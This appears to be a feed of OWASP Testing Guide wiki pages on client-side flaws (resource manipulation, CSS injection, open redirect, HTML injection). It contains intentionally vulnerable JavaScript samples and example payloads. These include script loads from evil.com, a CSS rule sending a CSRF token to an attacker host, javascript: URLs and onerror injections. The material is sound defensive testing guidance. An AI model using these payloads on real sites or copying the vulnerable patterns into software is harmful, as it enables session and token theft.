Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=180324</id>
		<title>Testing for Client Side Resource Manipulation (OTG-CLIENT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=180324"/>
				<updated>2014-08-08T13:35:12Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the attribute &amp;quot;src&amp;quot; of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  var d=document.createElement(&amp;quot;script&amp;quot;); &lt;br /&gt;
  if(location.hash.slice(1)) &lt;br /&gt;
     d.src = location.hash.slice(1); &lt;br /&gt;
  document.body.appendChild(d); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URL: &lt;br /&gt;
 www.victim.com/#http://evil.com/js.js&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Where js.js contains:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Refer to the following vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b id=&amp;quot;p&amp;quot;&amp;gt;&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
 function createCORSRequest(method, url) { &lt;br /&gt;
  var xhr = new XMLHttpRequest(); &lt;br /&gt;
  xhr.open(method, url, true); &lt;br /&gt;
  xhr.onreadystatechange = function () { &lt;br /&gt;
   if (this.status == 200 &amp;amp;&amp;amp; this.readyState == 4) { &lt;br /&gt;
     document.getElementById('p').innerHTML = this.responseText; &lt;br /&gt;
   } &lt;br /&gt;
  }; &lt;br /&gt;
  return xhr; &lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
 var xhr = createCORSRequest('GET', location.hash.slice(1)); &lt;br /&gt;
 xhr.send(null); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit URL: www.victim.com/#http://evil.com/html.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://evil.com/html.html&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
header('Access-Control-Allow-Origin: http://www.victim.com'); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for  Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
'''Testing for Client Side Resource Manipulation vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.),  client side scripts which handle the associated URLs should be investigated for potential issues. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following table shows the possible injection points (sink) that should be checked:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Resource Type&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Tag/Method&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Sink&lt;br /&gt;
|-&lt;br /&gt;
| Frame&lt;br /&gt;
| iframe&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Link&lt;br /&gt;
| a&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| AJAX Request&lt;br /&gt;
| xhr.open(method, &amp;lt;i&amp;gt;[url]&amp;lt;/i&amp;gt;, true); &lt;br /&gt;
| URL&lt;br /&gt;
|-&lt;br /&gt;
| CSS&lt;br /&gt;
| link&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| Image&lt;br /&gt;
| img&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Object&lt;br /&gt;
| object&lt;br /&gt;
| data&lt;br /&gt;
|-&lt;br /&gt;
| Script&lt;br /&gt;
| script&lt;br /&gt;
| src&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or External? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=180323</id>
		<title>Testing for CSS Injection (OTG-CLIENT-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSS_Injection_(OTG-CLIENT-005)&amp;diff=180323"/>
				<updated>2014-08-08T13:34:08Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the &amp;quot;cssText&amp;quot; function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section &amp;quot;Style Sinks&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  if (location.hash.slice(1)) { &lt;br /&gt;
    document.getElementById(&amp;quot;a1&amp;quot;).style.cssText = &amp;quot;color: &amp;quot; + location.hash.slice(1); &lt;br /&gt;
  } &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URLs:  &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
p { &lt;br /&gt;
  color: &amp;lt;?php echo $_GET['color']; ?&amp;gt;; &lt;br /&gt;
  text-align: center; &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with the attribute &amp;quot;name&amp;quot; set &amp;quot;csrf_token&amp;quot; and whose attribute &amp;quot;value&amp;quot; starts with &amp;quot;a&amp;quot;. By detecting the length of the attribute &amp;quot;value&amp;quot;, it is possible to carry out a brute force attack against it and send its value to the attacker's domain. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;style&amp;gt; &lt;br /&gt;
input[name=csrf_token][value=^a] { &lt;br /&gt;
  background-image: url(http://attacker/log?a); &lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/style&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like &amp;quot;link&amp;quot; and &amp;quot;style&amp;quot; should be disallowed, as well as attributes &amp;quot;style&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
'''Testing for CSS Injection vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a basic example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).attr(&amp;quot;style&amp;quot;,&amp;quot;color: &amp;quot; + location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The above code contains a source &amp;quot;location.hash&amp;quot; that is controlled by the attacker that can inject directly in the attribute &amp;quot;style&amp;quot; of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).css(&amp;quot;color&amp;quot;,location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Presentations'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf &lt;br /&gt;
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA &lt;br /&gt;
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proof of Concepts'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Password &amp;quot;cracker&amp;quot; via CSS and HTML5 - http://html5sec.org/invalid/?length=25 &lt;br /&gt;
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=180322</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=180322"/>
				<updated>2014-08-08T13:29:34Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#www.malicious.site&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note how, if the vulnerable code is the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location=decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It also could be possible to inject JavaScript code, for example by submitting the following query string:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#javascript:alert(document.cookie)&amp;lt;/pre&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTML_Injection_(OTG-CLIENT-003)&amp;diff=180321</id>
		<title>Testing for HTML Injection (OTG-CLIENT-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTML_Injection_(OTG-CLIENT-003)&amp;diff=180321"/>
				<updated>2014-08-08T13:28:44Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
HTML injection is a type of injection issue that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
This vulnerability occurs when the user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) the legit from the malicious parts and consequently will parse and execute all as legit in the victim context. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of XSS, specifically an HTML injection one. Malicious HTML code could be injected for example via innerHTML, that is used to render user inserted HTML code. If strings are not correctly sanitized the problem could lead to XSS based HTML injection. Another method could be document.write()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The innerHTML property sets or returns the inner HTML of an element. An improper usage of this property, that means lack of sanitization from untrusted input and missing output encoding, could allow an attacker to inject malicious HTML code. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of Vulnerable Code: &lt;br /&gt;
The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic html in the page context:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var userposition=location.href.indexOf(&amp;quot;user=&amp;quot;);&lt;br /&gt;
var user=location.href.substring(userposition+5);&lt;br /&gt;
document.getElementById(&amp;quot;Welcome&amp;quot;).innerHTML=&amp;quot; Hello, &amp;quot;+user;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the same way, the following example shows a vulnerable code using the document.write() function:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var userposition=location.href.indexOf(&amp;quot;user=&amp;quot;);&lt;br /&gt;
var user=location.href.substring(userposition+5);&lt;br /&gt;
document.write(&amp;quot;&amp;lt;h1&amp;gt;Hello, &amp;quot; + user +&amp;quot;&amp;lt;/h1&amp;gt;&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In both examples, an input like the following:&lt;br /&gt;
&lt;br /&gt;
 http://vulnerable.site/page.html?user=&amp;lt;img%20src='aaa'%20onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
will add to the page the image tag that will execute an arbitrary JavaScript code inserted by the malicious user in the HTML context.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for  HTML Injection is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing=== &lt;br /&gt;
'''Testing for HTML Injection vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example, looking at the following URL:&lt;br /&gt;
 http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The HTML code will contains the following script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;../js/jquery-1.7.1.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
function setMessage(){&lt;br /&gt;
 var t=location.hash.slice(1);&lt;br /&gt;
 $(&amp;quot;div[id=&amp;quot;+t+&amp;quot;]&amp;quot;).text(&amp;quot;The DOM is now loaded and can be manipulated.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
$(document).ready(setMessage  );&lt;br /&gt;
$(window).bind(&amp;quot;hashchange&amp;quot;,setMessage)&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&amp;lt;script src=&amp;quot;../js/embed.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;#message&amp;quot; &amp;gt; Show Here&amp;lt;/a&amp;gt;&amp;lt;div id=&amp;quot;message&amp;quot;&amp;gt;Showing Message1&amp;lt;/div&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;#message1&amp;quot; &amp;gt; Show Here&amp;lt;/a&amp;gt;&amp;lt;div id=&amp;quot;message1&amp;quot;&amp;gt;Showing Message2&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;#message2&amp;quot; &amp;gt; Show Here&amp;lt;/a&amp;gt;&amp;lt;div id=&amp;quot;message2&amp;quot;&amp;gt;Showing Message3&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is possible to inject HTML code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
